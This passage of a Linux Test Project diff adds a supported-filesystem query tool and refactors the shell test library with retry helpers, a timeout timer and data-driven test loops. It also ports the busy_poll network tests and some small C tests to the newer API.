@@ -162,5 +162,5 @@
 	for (i = 0; args[i]; i++)
 		fprintf(sin, "%s ", args[i]);
 
-	return pclose(sin);
+	return !!pclose(sin);
 }
diff --git a/testcases/lib/tst_supported_fs.c b/testcases/lib/tst_supported_fs.c
new file mode 100644
index 0000000..ebebcbb
--- /dev/null
+++ b/testcases/lib/tst_supported_fs.c
@@ -0,0 +1,47 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+
+#include <stdio.h>
+#include <string.h>
+
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+#include "tst_fs.h"
+
+static void usage(void)
+{
+	fprintf(stderr, "Usage: tst_supported_fs [fs_type]\n");
+	fprintf(stderr, "   If fs_type is supported, return 0\n");
+	fprintf(stderr, "   If fs_type isn't supported, return 1\n");
+	fprintf(stderr, "   If fs_type isn't specified, print the list of supported filesystems\n");
+	fprintf(stderr, "   fs_type - a specified filesystem type\n");
+}
+
+int main(int argc, char *argv[])
+{
+	const char *const *filesystems;
+	int i;
+
+	if (argc > 2) {
+		fprintf(stderr, "Can't specify multiple fs_type\n");
+		usage();
+		return 2;
+	}
+
+	if (argv[1] && !strcmp(argv[1], "-h")) {
+		usage();
+		return 0;
+	}
+
+	if (argv[1])
+		return !tst_fs_is_supported(argv[1]);
+
+	filesystems = tst_get_supported_fs_types();
+	for (i = 0; filesystems[i]; i++)
+		printf("%s\n", filesystems[i]);
+
+	return 0;
+}
diff --git a/testcases/lib/tst_test.sh b/testcases/lib/tst_test.sh
index 249b054..e3770d0 100644
--- a/testcases/lib/tst_test.sh
+++ b/testcases/lib/tst_test.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 #
-# Copyright (c) Linux Test Project, 2014-2017
+# Copyright (c) Linux Test Project, 2014-2018
 #
 # This program is free software; you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -21,6 +21,8 @@
 # This is a LTP test library for shell.
 #
 
+[ -n "$TST_LIB_LOADED" ] && return 0
+
 export TST_PASS=0
 export TST_FAIL=0
 export TST_BROK=0
@@ -29,12 +31,17 @@
 export TST_COUNT=1
 export TST_ITERATIONS=1
 export TST_TMPDIR_RHOST=0
+export TST_LIB_LOADED=1
 
 . tst_ansi_color.sh
 
-tst_do_exit()
+# default trap function
+trap "tst_brk TBROK 'test interrupted'" INT
+
+_tst_do_exit()
 {
 	local ret=0
+	TST_DO_EXIT=1
 
 	if [ -n "$TST_SETUP_STARTED" -a -n "$TST_CLEANUP" -a \
 	     -z "$TST_NO_CLEANUP" ]; then
@@ -53,6 +60,11 @@
 		[ "$TST_TMPDIR_RHOST" = 1 ] && tst_cleanup_rhost
 	fi
 
+	if [ -n "$_tst_setup_timer_pid" ]; then
+		kill $_tst_setup_timer_pid 2>/dev/null
+		wait $_tst_setup_timer_pid 2>/dev/null
+	fi
+
 	if [ $TST_FAIL -gt 0 ]; then
 		ret=$((ret|1))
 	fi
@@ -79,7 +91,7 @@
 	exit $ret
 }
 
-tst_inc_res()
+_tst_inc_res()
 {
 	case "$1" in
 	TPASS) TST_PASS=$((TST_PASS+1));;
@@ -88,7 +100,7 @@
 	TWARN) TST_WARN=$((TST_WARN+1));;
 	TCONF) TST_CONF=$((TST_CONF+1));;
 	TINFO) ;;
-	*) tst_brk TBROK "Invalid resm type '$1'";;
+	*) tst_brk TBROK "Invalid res type '$1'";;
 	esac
 }
 
@@ -100,9 +112,9 @@
 	tst_color_enabled
 	local color=$?
 
-	tst_inc_res "$res"
+	_tst_inc_res "$res"
 
-	printf "$TCID $TST_COUNT "
+	printf "$TST_ID $TST_COUNT "
 	tst_print_colored $res "$res: "
 	echo "$@"
 }
@@ -112,14 +124,20 @@
 	local res=$1
 	shift
 
+	if [ "$TST_DO_EXIT" = 1 ]; then
+		tst_res TWARN "$@"
+		return
+	fi
+
 	tst_res "$res" "$@"
-	tst_do_exit
+	_tst_do_exit
 }
 
 ROD_SILENT()
 {
-	tst_rod $@ > /dev/null 2>&1
+	local tst_out="$(tst_rod $@ 2>&1)"
 	if [ $? -ne 0 ]; then
+		echo "$tst_out"
 		tst_brk TBROK "$@ failed"
 	fi
 }
@@ -153,6 +171,65 @@
 	fi
 }
 
+TST_RETRY_FN_EXP_BACKOFF()
+{
+	local tst_fun="$1"
+	local tst_exp=$2
+	local tst_sec=$(expr $3 \* 1000000)
+	local tst_delay=1
+
+	if [ $# -ne 3 ]; then
+		tst_brk TBROK "TST_RETRY_FN_EXP_BACKOFF expects 3 parameters"
+	fi
+
+	if ! tst_is_int "$tst_sec"; then
+		tst_brk TBROK "TST_RETRY_FN_EXP_BACKOFF: tst_sec must be integer ('$tst_sec')"
+	fi
+
+	while true; do
+		$tst_fun
+		if [ "$?" = "$tst_exp" ]; then
+			break
+		fi
+
+		if [ $tst_delay -lt $tst_sec ]; then
+			tst_sleep ${tst_delay}us
+			tst_delay=$((tst_delay*2))
+		else
+			tst_brk TBROK "\"$tst_fun\" timed out"
+		fi
+	done
+
+	return $tst_exp
+}
+
+TST_RETRY_FUNC()
+{
+	if [ $# -ne 2 ]; then
+		tst_brk TBROK "TST_RETRY_FUNC expects 2 parameters"
+	fi
+
+	TST_RETRY_FN_EXP_BACKOFF "$1" "$2" 1
+	return $2
+}
+
+TST_RTNL_CHK()
+{
+	local msg1="RTNETLINK answers: Function not implemented"
+	local msg2="RTNETLINK answers: Operation not supported"
+	local msg3="RTNETLINK answers: Protocol not supported"
+	local output="$($@ 2>&1 || echo 'LTP_ERR')"
+	local msg
+
+	echo "$output" | grep -q "LTP_ERR" || return 0
+
+	for msg in "$msg1" "$msg2" "$msg3"; do
+		echo "$output" | grep -q "$msg" && tst_brk TCONF "'$@': $msg"
+	done
+
+	tst_brk TBROK "$@ failed: $output"
+}
+
 tst_umount()
 {
 	local device="$1"
@@ -200,14 +277,52 @@
 	ROD_SILENT mkfs.$fs_type $fs_opts $device
 }
 
-tst_check_cmds()
+tst_cmd_available()
+{
+	if type command > /dev/null 2>&1; then
+		command -v $1 > /dev/null 2>&1 || return 1
+	else
+		which $1 > /dev/null 2>&1
+		if [ $? -eq 0 ]; then
+			return 0
+		elif [ $? -eq 127 ]; then
+			tst_brk TCONF "missing which command"
+		else
+			return 1
+		fi
+	fi
+}
+
+tst_test_cmds()
 {
 	local cmd
 	for cmd in $*; do
-		if ! command -v $cmd > /dev/null 2>&1; then
-			tst_brk TCONF "'$cmd' not found"
+		tst_cmd_available $cmd || tst_brk TCONF "'$cmd' not found"
+	done
+}
+
+tst_check_cmds()
+{
+	local cmd
+	for cmd; do
+		if ! tst_cmd_available $cmd; then
+			tst_res TCONF "'$cmd' not found"
+			return 1
 		fi
 	done
+	return 0
+}
+
+tst_test_drivers()
+{
+	[ $# -eq 0 ] && return 0
+
+	local drv
+
+	drv="$(tst_check_drivers $@ 2>&1)"
+
+	[ $? -ne 0 ] && tst_brk TCONF "$drv driver not available"
+	return 0
 }
 
 tst_is_int()
@@ -229,46 +344,72 @@
 	echo "-i n    Execute test n times"
 }
 
-tst_resstr()
+_tst_resstr()
 {
 	echo "$TST_PASS$TST_FAIL$TST_CONF"
 }
 
-tst_rescmp()
+_tst_rescmp()
 {
-	local res=$(tst_resstr)
+	local res=$(_tst_resstr)
 
 	if [ "$1" = "$res" ]; then
 		tst_brk TBROK "Test didn't report any results"
 	fi
 }
 
+
+_tst_setup_timer()
+{
+	LTP_TIMEOUT_MUL=${LTP_TIMEOUT_MUL:-1}
+
+	local sec=$((300 * LTP_TIMEOUT_MUL))
+	local h=$((sec / 3600))
+	local m=$((sec / 60 % 60))
+	local s=$((sec % 60))
+	local pid=$$
+
+	tst_res TINFO "timeout per run is ${h}h ${m}m ${s}s"
+
+	sleep $sec && tst_res TBROK "test killed, timeout! If you are running on slow machine, try exporting LTP_TIMEOUT_MUL > 1" && kill -9 -$pid &
+
+	_tst_setup_timer_pid=$!
+}
+
 tst_run()
 {
-	local tst_i
+	local _tst_i
+	local _tst_data
+	local _tst_max
+	local _tst_name
 
 	if [ -n "$TST_TEST_PATH" ]; then
-		for tst_i in $(grep TST_ "$TST_TEST_PATH" | sed 's/.*TST_//; s/[="} \t\/:`].*//'); do
-			case "$tst_i" in
-			SETUP|CLEANUP|TESTFUNC|ID|CNT);;
+		for _tst_i in $(grep TST_ "$TST_TEST_PATH" | sed 's/.*TST_//; s/[="} \t\/:`].*//'); do
+			case "$_tst_i" in
+			SETUP|CLEANUP|TESTFUNC|ID|CNT|MIN_KVER);;
 			OPTS|USAGE|PARSE_ARGS|POS_ARGS);;
-			NEEDS_ROOT|NEEDS_TMPDIR|NEEDS_DEVICE|DEVICE);;
+			NEEDS_ROOT|NEEDS_TMPDIR|TMPDIR|NEEDS_DEVICE|DEVICE);;
 			NEEDS_CMDS|NEEDS_MODULE|MODPATH|DATAROOT);;
-			*) tst_res TWARN "Reserved variable TST_$tst_i used!";;
+			NEEDS_DRIVERS);;
+			IPV6|IPVER|TEST_DATA|TEST_DATA_IFS);;
+			RETRY_FUNC|RETRY_FN_EXP_BACKOFF);;
+			*) tst_res TWARN "Reserved variable TST_$_tst_i used!";;
 			esac
 		done
+
+		for _tst_i in $(grep _tst_ "$TST_TEST_PATH" | sed 's/.*_tst_//; s/[="} \t\/:`].*//'); do
+			tst_res TWARN "Private variable or function _tst_$_tst_i used!"
+		done
 	fi
 
-	local name
-
 	OPTIND=1
 
-	while getopts "hi:$TST_OPTS" name $TST_ARGS; do
-		case $name in
+	while getopts ":hi:$TST_OPTS" _tst_name $TST_ARGS; do
+		case $_tst_name in
 		'h') tst_usage; exit 0;;
 		'i') TST_ITERATIONS=$OPTARG;;
 		'?') tst_usage; exit 2;;
-		*) $TST_PARSE_ARGS "$name" "$OPTARG";;
+		*) $TST_PARSE_ARGS "$_tst_name" "$OPTARG";;
 		esac
 	done
 
@@ -286,7 +427,15 @@
 		fi
 	fi
 
-	tst_check_cmds $TST_NEEDS_CMDS
+	tst_test_cmds $TST_NEEDS_CMDS
+	tst_test_drivers $TST_NEEDS_DRIVERS
+
+	if [ -n "$TST_MIN_KVER" ]; then
+		tst_kvcmp -lt "$TST_MIN_KVER" && \
+			tst_brk TCONF "test requires kernel $TST_MIN_KVER+"
+	fi
+
+	_tst_setup_timer
 
 	if [ "$TST_NEEDS_TMPDIR" = 1 ]; then
 		if [ -z "$TMPDIR" ]; then
@@ -304,13 +453,13 @@
 
 	if [ "$TST_NEEDS_DEVICE" = 1 ]; then
 		if [ -z ${TST_TMPDIR} ]; then
-			tst_brk "Use TST_NEEDS_TMPDIR must be set for TST_NEEDS_DEVICE"
+			tst_brk TBROK "Use TST_NEEDS_TMPDIR must be set for TST_NEEDS_DEVICE"
 		fi
 
 		TST_DEVICE=$(tst_device acquire)
 
-		if [ -z "$TST_DEVICE" ]; then
-			tst_brk "Failed to acquire device"
+		if [ ! -b "$TST_DEVICE" -o $? -ne 0 ]; then
+			tst_brk TBROK "Failed to acquire device"
 		fi
 
 		TST_DEVICE_FLAG=1
@@ -341,70 +490,54 @@
 
 	#TODO check that test reports some results for each test function call
 	while [ $TST_ITERATIONS -gt 0 ]; do
-		if [ -n "$TST_CNT" ]; then
-			if type test1 > /dev/null 2>&1; then
-				for tst_i in $(seq $TST_CNT); do
-					local res=$(tst_resstr)
-					$TST_TESTFUNC$tst_i
-					tst_rescmp "$res"
-					TST_COUNT=$((TST_COUNT+1))
-				done
-			else
-				for tst_i in $(seq $TST_CNT); do
-					local res=$(tst_resstr)
-					$TST_TESTFUNC $tst_i
-					tst_rescmp "$res"
-					TST_COUNT=$((TST_COUNT+1))
-				done
-			fi
+		if [ -n "$TST_TEST_DATA" ]; then
+			tst_test_cmds cut tr wc
+			_tst_max=$(( $(echo $TST_TEST_DATA | tr -cd "$TST_TEST_DATA_IFS" | wc -c) +1))
+			for _tst_i in $(seq $_tst_max); do
+				_tst_data="$(echo "$TST_TEST_DATA" | cut -d"$TST_TEST_DATA_IFS" -f$_tst_i)"
+				_tst_run_tests "$_tst_data"
+			done
 		else
-			local res=$(tst_resstr)
-			$TST_TESTFUNC
-			tst_rescmp "$res"
-			TST_COUNT=$((TST_COUNT+1))
+			_tst_run_tests
 		fi
 		TST_ITERATIONS=$((TST_ITERATIONS-1))
 	done
 
-	tst_do_exit
+	_tst_do_exit
 }
 
-if TST_TEST_PATH=$(which $0) 2>/dev/null; then
-	if ! grep -q tst_run "$TST_TEST_PATH"; then
-		tst_brk TBROK "Test $0 must call tst_run!"
-	fi
-fi
+_tst_run_tests()
+{
+	local _tst_data="$1"
+	local _tst_i
+
+	for _tst_i in $(seq ${TST_CNT:-1}); do
+		if type ${TST_TESTFUNC}1 > /dev/null 2>&1; then
+			_tst_run_test "$TST_TESTFUNC$_tst_i" $_tst_i "$_tst_data"
+		else
+			_tst_run_test "$TST_TESTFUNC" $_tst_i "$_tst_data"
+		fi
+	done
+}
+
+_tst_run_test()
+{
+	local _tst_res=$(_tst_resstr)
+	local _tst_fnc="$1"
+	shift
+
+	$_tst_fnc "$@"
+	_tst_rescmp "$_tst_res"
+	TST_COUNT=$((TST_COUNT+1))
+}
 
 if [ -z "$TST_ID" ]; then
-	filename=$(basename $0)
-	TST_ID=${filename%%.*}
+	_tst_filename=$(basename $0) || \
+		tst_brk TCONF "Failed to set TST_ID from \$0 ('$0'), fix it with setting TST_ID before sourcing tst_test.sh"
+	TST_ID=${_tst_filename%%.*}
 fi
 export TST_ID="$TST_ID"
 
-if [ -z "$TST_TESTFUNC" ]; then
-	tst_brk TBROK "TST_TESTFUNC is not defined"
-fi
-
-if [ -n "$TST_CNT" ]; then
-	if ! tst_is_int "$TST_CNT"; then
-		tst_brk TBROK "TST_CNT must be integer"
-	fi
-
-	if [ "$TST_CNT" -le 0 ]; then
-		tst_brk TBROK "TST_CNT must be > 0"
-	fi
-fi
-
-if [ -n "$TST_POS_ARGS" ]; then
-	if ! tst_is_int "$TST_POS_ARGS"; then
-		tst_brk TBROK "TST_POS_ARGS must be integer"
-	fi
-
-	if [ "$TST_POS_ARGS" -le 0 ]; then
-		tst_brk TBROK "TST_POS_ARGS must be > 0"
-	fi
-fi
-
 if [ -z "$LTPROOT" ]; then
 	export LTPROOT="$PWD"
 	export TST_DATAROOT="$LTPROOT/datafiles"
@@ -412,24 +545,58 @@
 	export TST_DATAROOT="$LTPROOT/testcases/data/$TST_ID"
 fi
 
-TST_ARGS="$@"
-
-while getopts ":hi:$TST_OPTS" tst_name; do
-	case $tst_name in
-	'h') TST_PRINT_HELP=1;;
-	*);;
-	esac
-done
-
-shift $((OPTIND - 1))
-
-if [ -n "$TST_POS_ARGS" ]; then
-	if [ -z "$TST_PRINT_HELP" -a $# -ne "$TST_POS_ARGS" ]; then
-		tst_brk TBROK "Invalid number of positional paramters:"\
-			      "have ($@) $#, expected ${TST_POS_ARGS}"
+if [ -z "$TST_NO_DEFAULT_RUN" ]; then
+	if TST_TEST_PATH=$(which $0) 2>/dev/null; then
+		if ! grep -q tst_run "$TST_TEST_PATH"; then
+			tst_brk TBROK "Test $0 must call tst_run!"
+		fi
 	fi
-else
-	if [ -z "$TST_PRINT_HELP" -a $# -ne 0 ]; then
-		tst_brk TBROK "Unexpected positional arguments '$@'"
+
+	if [ -z "$TST_TESTFUNC" ]; then
+		tst_brk TBROK "TST_TESTFUNC is not defined"
+	fi
+
+	TST_TEST_DATA_IFS="${TST_TEST_DATA_IFS:- }"
+
+	if [ -n "$TST_CNT" ]; then
+		if ! tst_is_int "$TST_CNT"; then
+			tst_brk TBROK "TST_CNT must be integer"
+		fi
+
+		if [ "$TST_CNT" -le 0 ]; then
+			tst_brk TBROK "TST_CNT must be > 0"
+		fi
+	fi
+
+	if [ -n "$TST_POS_ARGS" ]; then
+		if ! tst_is_int "$TST_POS_ARGS"; then
+			tst_brk TBROK "TST_POS_ARGS must be integer"
+		fi
+
+		if [ "$TST_POS_ARGS" -le 0 ]; then
+			tst_brk TBROK "TST_POS_ARGS must be > 0"
+		fi
+	fi
+
+	TST_ARGS="$@"
+
+	while getopts ":hi:$TST_OPTS" tst_name; do
+		case $tst_name in
+		'h') TST_PRINT_HELP=1;;
+		*);;
+		esac
+	done
+
+	shift $((OPTIND - 1))
+
+	if [ -n "$TST_POS_ARGS" ]; then
+		if [ -z "$TST_PRINT_HELP" -a $# -ne "$TST_POS_ARGS" ]; then
+			tst_brk TBROK "Invalid number of positional parameters:"\
+					  "have ($@) $#, expected ${TST_POS_ARGS}"
+		fi
+	else
+		if [ -z "$TST_PRINT_HELP" -a $# -ne 0 ]; then
+			tst_brk TBROK "Unexpected positional arguments '$@'"
+		fi
 	fi
 fi
diff --git a/testcases/misc/f00f/f00f.c b/testcases/misc/f00f/f00f.c
index 3f10b9a..5fdc6da 100644
--- a/testcases/misc/f00f/f00f.c
+++ b/testcases/misc/f00f/f00f.c
@@ -52,7 +52,7 @@
 	tst_exit();
 }
 
-int main()
+int main(void)
 {
 	signal(SIGILL, sigill);
 	tst_resm(TINFO, "Testing for proper f00f instruction handling.");
@@ -73,7 +73,7 @@
 
 #else /* __i386__ */
 
-int main()
+int main(void)
 {
 	tst_brkm(TCONF, NULL, "f00f bug test only for i386");
 }
diff --git a/testcases/misc/math/abs/abs01.c b/testcases/misc/math/abs/abs01.c
index c0659fa..c62bf03 100644
--- a/testcases/misc/math/abs/abs01.c
+++ b/testcases/misc/math/abs/abs01.c
@@ -42,7 +42,7 @@
 #include <ctype.h>
 #include <math.h>
 #include <errno.h>
-#include <values.h>
+#include <limits.h>
 
 /*****	LTP Port	*****/
 
@@ -72,7 +72,7 @@
 /*--------------------------------------------------------------*/
 	blenter();
 
-	i = llabs(MININT) + (long long)MININT;
+	i = llabs(INT_MIN) + (long long)INT_MIN;
 
 	if (i != 0) {
 		fprintf(temp, "abs of minimum integer failed.");
diff --git a/testcases/misc/math/float/main.c b/testcases/misc/math/float/main.c
index d71ca18..7285141 100644
--- a/testcases/misc/math/float/main.c
+++ b/testcases/misc/math/float/main.c
@@ -299,8 +299,6 @@
 		SAFE_FREE(pcom);
 
 	}
-	pthread_cancel(sig_hand);
-	pthread_join(sig_hand, NULL);
 	SAFE_FREE(tabcom);
 	SAFE_FREE(threads);
 	tst_rmdir();
diff --git a/testcases/network/.gitignore b/testcases/network/.gitignore
index d4ed925..e952f6f 100644
--- a/testcases/network/.gitignore
+++ b/testcases/network/.gitignore
@@ -22,6 +22,7 @@
 /nfsv4/locks/locktests
 /rpc/basic_tests/rpc01/rpc1
 /rpc/basic_tests/rpc01/rpc_server
+/sctp/sctp_big_chunk
 /sockets/ltpClient
 /sockets/ltpServer
 /stress/ns-tools/ns-icmp_redirector
diff --git a/testcases/network/Makefile b/testcases/network/Makefile
index 69901a7..f7097e1 100644
--- a/testcases/network/Makefile
+++ b/testcases/network/Makefile
@@ -39,6 +39,10 @@
 FILTER_OUT_DIRS		+= lib6 rpc sockets
 endif
 
+ifeq ($(TIRPC_LIBS),)
+FILTER_OUT_DIRS		+= rpc
+endif
+
 $(INSTALL_TARGETS): | generate
 
 .PHONY: generate
diff --git a/testcases/network/README.md b/testcases/network/README.md
index ebaab99..3a9c981 100644
--- a/testcases/network/README.md
+++ b/testcases/network/README.md
@@ -68,7 +68,7 @@
 ```sh
 export PATH=/opt/ltp/testcases/bin:/usr/bin:$PATH
 ```
-Default values for all LTP network variables are set in testcases/lib/test_net.sh.
+Default values for all LTP network variables are set in testcases/lib/tst_net.sh.
 If you need to override some parameters please export them before test run or
 specify them when running ltp-pan or testscripts/network.sh.
 
@@ -79,7 +79,7 @@
 TEST_VARS ./network.sh OPTIONS
 ```
 Where
-* TEST_VARS - non-default network parameters (see testcases/lib/test_net.sh), they
+* TEST_VARS - non-default network parameters (see testcases/lib/tst_net.sh), they
   could be exported before test run;
 * OPTIONS - test group(s), use '-h' to see available ones.
 
diff --git a/testcases/network/busy_poll/Makefile b/testcases/network/busy_poll/Makefile
index 8feb006..3a85c7d 100644
--- a/testcases/network/busy_poll/Makefile
+++ b/testcases/network/busy_poll/Makefile
@@ -1,17 +1,5 @@
-# Copyright (c) 2015-2016 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015-2018 Oracle and/or its affiliates. All Rights Reserved.
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/network/busy_poll/busy_poll01.sh b/testcases/network/busy_poll/busy_poll01.sh
index 3c30356..0023f6c 100755
--- a/testcases/network/busy_poll/busy_poll01.sh
+++ b/testcases/network/busy_poll/busy_poll01.sh
@@ -1,38 +1,21 @@
 #!/bin/sh
-# Copyright (c) 2015-2016 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015-2018 Oracle and/or its affiliates. All Rights Reserved.
 #
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
-#
 
-TST_TOTAL=1
-TCID="busy_poll01"
-TST_NEEDS_TMPDIR=1
-
-. test_net.sh
 . busy_poll_lib.sh
 
 cleanup()
 {
-	tst_rmdir
-
-	sysctl -q -w net.core.busy_read=$busy_read_old
-	sysctl -q -w net.core.busy_poll=$busy_poll_old
-
-	tst_rhost_run -c "sysctl -q -w net.core.busy_read=$rbusy_read_old"
-	tst_rhost_run -c "sysctl -q -w net.core.busy_poll=$rbusy_poll_old"
+	[ -n "$busy_read_old" ] && \
+		sysctl -q -w net.core.busy_read=$busy_read_old
+	[ -n "$busy_poll_old" ] && \
+		sysctl -q -w net.core.busy_poll=$busy_poll_old
+	[ -n "$rbusy_read_old" ] && \
+		tst_rhost_run -c "sysctl -q -w net.core.busy_read=$rbusy_read_old"
+	[ -n "$rbusy_poll_old" ] && \
+		tst_rhost_run -c "sysctl -q -w net.core.busy_poll=$rbusy_poll_old"
 }
 
 set_busy_poll()
@@ -45,27 +28,32 @@
 	tst_rhost_run -s -c "sysctl -q -w net.core.busy_poll=$value"
 }
 
-busy_read_old="$(cat /proc/sys/net/core/busy_read)"
-busy_poll_old="$(cat /proc/sys/net/core/busy_poll)"
+setup()
+{
+	busy_poll_check_config
 
-rbusy_read_old=$(tst_rhost_run -c 'cat /proc/sys/net/core/busy_read')
-rbusy_poll_old=$(tst_rhost_run -c 'cat /proc/sys/net/core/busy_poll')
+	busy_read_old="$(cat /proc/sys/net/core/busy_read)"
+	busy_poll_old="$(cat /proc/sys/net/core/busy_poll)"
 
-TST_CLEANUP="cleanup"
-trap "tst_brkm TBROK 'test interrupted'" INT
+	rbusy_read_old=$(tst_rhost_run -c 'cat /proc/sys/net/core/busy_read')
+	rbusy_poll_old=$(tst_rhost_run -c 'cat /proc/sys/net/core/busy_poll')
+}
 
-for x in 50 0; do
-	tst_resm TINFO "set low latency busy poll to $x"
-	set_busy_poll $x
-	tst_netload -H $(tst_ipaddr rhost) -d res_$x
-done
+test()
+{
+	for x in 50 0; do
+		tst_res TINFO "set low latency busy poll to $x"
+		set_busy_poll $x
+		tst_netload -H $(tst_ipaddr rhost) -n 10 -N 10 -d res_$x
+	done
 
-poll_cmp=$(( 100 - ($(cat res_50) * 100) / $(cat res_0) ))
+	local poll_cmp=$(( 100 - ($(cat res_50) * 100) / $(cat res_0) ))
 
-if [ "$poll_cmp" -lt 1 ]; then
-	tst_resm TFAIL "busy poll result is '$poll_cmp' %"
-else
-	tst_resm TPASS "busy poll increased performance by '$poll_cmp' %"
-fi
+	if [ "$poll_cmp" -lt 1 ]; then
+		tst_res TFAIL "busy poll result is '$poll_cmp' %"
+	else
+		tst_res TPASS "busy poll increased performance by '$poll_cmp' %"
+	fi
+}
 
-tst_exit
+tst_run
diff --git a/testcases/network/busy_poll/busy_poll02.sh b/testcases/network/busy_poll/busy_poll02.sh
index 4278579..1f25b73 100755
--- a/testcases/network/busy_poll/busy_poll02.sh
+++ b/testcases/network/busy_poll/busy_poll02.sh
@@ -1,35 +1,17 @@
 #!/bin/sh
-# Copyright (c) 2015-2016 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015-2018 Oracle and/or its affiliates. All Rights Reserved.
 #
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
-#
 
-TST_TOTAL=1
-TCID="busy_poll02"
-TST_NEEDS_TMPDIR=1
-
-. test_net.sh
 . busy_poll_lib.sh
 
 cleanup()
 {
-	tst_rmdir
-
-	sysctl -q -w net.core.busy_poll=$busy_poll_old
-	tst_rhost_run -c "sysctl -q -w net.core.busy_poll=$rbusy_poll_old"
+	[ -n "$busy_poll_old" ] && \
+		sysctl -q -w net.core.busy_poll=$busy_poll_old
+	[ -n "$rbusy_poll_old" ] && \
+		tst_rhost_run -c "sysctl -q -w net.core.busy_poll=$rbusy_poll_old"
 }
 
 set_busy_poll()
@@ -39,24 +21,29 @@
 	tst_rhost_run -s -c "sysctl -q -w net.core.busy_poll=$value"
 }
 
-busy_poll_old="$(cat /proc/sys/net/core/busy_poll)"
-rbusy_poll_old=$(tst_rhost_run -c 'cat /proc/sys/net/core/busy_poll')
+setup()
+{
+	busy_poll_check_config
 
-TST_CLEANUP="cleanup"
-trap "tst_brkm TBROK 'test interrupted'" INT
+	busy_poll_old="$(cat /proc/sys/net/core/busy_poll)"
+	rbusy_poll_old=$(tst_rhost_run -c 'cat /proc/sys/net/core/busy_poll')
+}
 
-for x in 50 0; do
-	tst_resm TINFO "set low latency busy poll to $x per socket"
-	set_busy_poll $x
-	tst_netload -H $(tst_ipaddr rhost) -d res_$x -b $x
-done
+test()
+{
+	for x in 50 0; do
+		tst_res TINFO "set low latency busy poll to $x per socket"
+		set_busy_poll $x
+		tst_netload -H $(tst_ipaddr rhost) -n 10 -N 10 -d res_$x -b $x
+	done
 
-poll_cmp=$(( 100 - ($(cat res_50) * 100) / $(cat res_0) ))
+	local poll_cmp=$(( 100 - ($(cat res_50) * 100) / $(cat res_0) ))
 
-if [ "$poll_cmp" -lt 1 ]; then
-	tst_resm TFAIL "busy poll result is '$poll_cmp' %"
-else
-	tst_resm TPASS "busy poll increased performance by '$poll_cmp' %"
-fi
+	if [ "$poll_cmp" -lt 1 ]; then
+		tst_res TFAIL "busy poll result is '$poll_cmp' %"
+	else
+		tst_res TPASS "busy poll increased performance by '$poll_cmp' %"
+	fi
+}
 
-tst_exit
+tst_run
diff --git a/testcases/network/busy_poll/busy_poll03.sh b/testcases/network/busy_poll/busy_poll03.sh
index 80e0de3..3c70299 100755
--- a/testcases/network/busy_poll/busy_poll03.sh
+++ b/testcases/network/busy_poll/busy_poll03.sh
@@ -1,35 +1,19 @@
 #!/bin/sh
-# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2016-2018 Oracle and/or its affiliates.
 #
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
-#
 
-TST_TOTAL=1
-TCID="busy_poll03"
-TST_NEEDS_TMPDIR=1
+TST_TEST_DATA="udp udp_lite"
 
-. test_net.sh
 . busy_poll_lib.sh
 
 cleanup()
 {
-	tst_rmdir
-
-	sysctl -q -w net.core.busy_poll=$busy_poll_old
-	tst_rhost_run -c "sysctl -q -w net.core.busy_poll=$rbusy_poll_old"
+	[ -n "$busy_poll_old" ] && \
+		sysctl -q -w net.core.busy_poll=$busy_poll_old
+	[ -n "$rbusy_poll_old" ] && \
+		tst_rhost_run -c "sysctl -q -w net.core.busy_poll=$rbusy_poll_old"
 }
 
 set_busy_poll()
@@ -39,24 +23,30 @@
 	tst_rhost_run -s -c "sysctl -q -w net.core.busy_poll=$value"
 }
 
-busy_poll_old="$(cat /proc/sys/net/core/busy_poll)"
